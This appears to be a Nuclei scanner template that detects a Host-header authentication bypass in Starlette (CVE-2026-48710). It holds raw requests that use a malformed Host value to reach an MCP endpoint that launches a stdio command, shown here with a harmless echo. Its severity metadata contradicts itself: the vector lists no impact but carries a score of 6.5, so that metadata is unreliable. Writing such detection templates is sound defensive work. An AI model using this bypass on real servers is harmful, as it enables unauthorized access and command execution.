id: CVE-2026-48710

info:
  name: "Starlette - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Starlette is a lightweight ASGI framework/toolkit. Prior to version 1.0.1, the HTTP `Host` request header was
    not validated before being used to reconstruct `request.url`.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-48710&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=starlette&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-48710
    cwe-id: CWE-1289
  metadata:
    verified: false
  tags: cve,cve2026,starlette,auth-bypass,badhost,vkev,kev
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"transport":"stdio","command":"echo","args":["test"]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains_any(body, "auth_error", "Authentication Error")'
        condition: and
        internal: true

  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: a/?x=
        Content-Type: application/json
        Content-Length: 54

        {"transport":"stdio","command":"echo","args":["test"]}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Failed to connect to MCP server"
          - "status"
        condition: and

      - type: status
        status:
          - 200